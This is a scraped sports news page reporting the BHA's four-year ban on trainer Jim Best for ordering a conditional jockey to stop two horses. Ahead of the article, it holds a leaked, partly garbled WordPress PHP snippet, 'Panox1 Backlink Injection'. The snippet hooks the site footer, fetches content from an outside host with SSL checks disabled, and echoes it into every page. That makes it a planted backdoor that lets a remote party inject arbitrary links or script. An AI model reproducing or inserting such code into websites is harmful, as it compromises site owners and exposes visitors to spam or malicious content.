// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 'Dishonest' Jim Best given four-year ban in non-triers case – Next Sports News

'Dishonest' Jim Best given four-year ban in non-triers case

[ad_1]

Trainer Jim Best

Jim Best: had been found guilty of all charges against him last month

  PICTURE: Getty Images  

 By Andrew Dietz 6:13PM 4 APR 2016 

TRAINER Jim Best has been banned from racing for four years with immediate effect after being found guilty at a BHA disciplinary inquiry last month of ordering conditional jockey Paul John to stop two horses from running on their merits.

Best was found to be a “dishonest individual who corrupted a young man” by the disciplinary panel, while the BHA slammed the trainer, branding his behaviour “reprehensible and an abuse of the privilege of holding a licence to train racehorses”.

Over three weeks have passed since Best was found guilty of all charges against him, including acting in a manner prejudicial to the integrity, proper conduct or good reputation of horseracing.

The case relates to the running and riding of Echo Brava and Missile Man at Plumpton and Towcester last year, with the disciplinary panel siding with John’s version of events that the jockey had been told by his then boss to ensure both horses did not obtain the best possible placing.

After both races – which took place three days apart in December last year – a stewards’ inquiry was called in which Best expressed his dissatification with the rides John had given, a ploy the conditional said the pair had discussed in advance to mask the intention of not running the horses on their merits.

John had been banned by the stewards for his rides in each instance, with Best receiving no punishment, but the rider offered to be a witness against Best when receiving legal letters from the BHA in January for his second ride on Missile Man.

‘Cannot be tolerated’

Adam Brickell, BHA director of integrity, legal and risk, said: “The case against Jim Best and Paul John concerned an issue that cannot be tolerated in British racing – the exploitation of a vulnerable young jockey by his employer in order to coerce him into breaking the rules of our sport to gain an unfair advantage.

“It is the responsibility of any trainer to act as guide and mentor to young jockeys who are attached to their yard. No trainer can be allowed to abuse that relationship by pressurising jockeys to breach the rules and this is reflected in the sanctions incurred by Jim Best. In the words of the disciplinary panel, Jim Best’s behaviour was reprehensible, and an abuse of the privilege of holding a licence to train racehorses.”

John, who was found guilty of two counts of failing to run a horse on its merits, received a more lenient punishment of a 150-day period during which he can not apply for a licence. The ban was backdated to December 21, 2015 and ends on May 19, 2016.

‘Ashamed’

In a statement released through the Professional Jockeys’ Association, John said he was “ashamed” of his action and promised to learn from his mistakes if he was granted a licence to ride again.

He said: “I fully accept that what I did was wholly wrong. I want to apologise to the sport for my conduct in those two races. I am ashamed to have carried out what I was instructed to do and if I could go back in time and change it I would.

“This has been a very unpleasant experience and I can absolutely assure everyone that if I am lucky enough to be allowed the opportunity to be licensed once again I will not be making the same mistakes again.”

Brickell said the disciplinary panel had taken into account John’s co-operation when handing him his punishment and that he “deserves significant credit for his actions in distancing himself from Mr Best”.

Brickell added: “We would encourage any jockey who finds themselves in a similar situation to Paul John to seek assistance before they feel compelled to commit breaches of the rules of racing.”

 

[ad_2]

Source link

Reply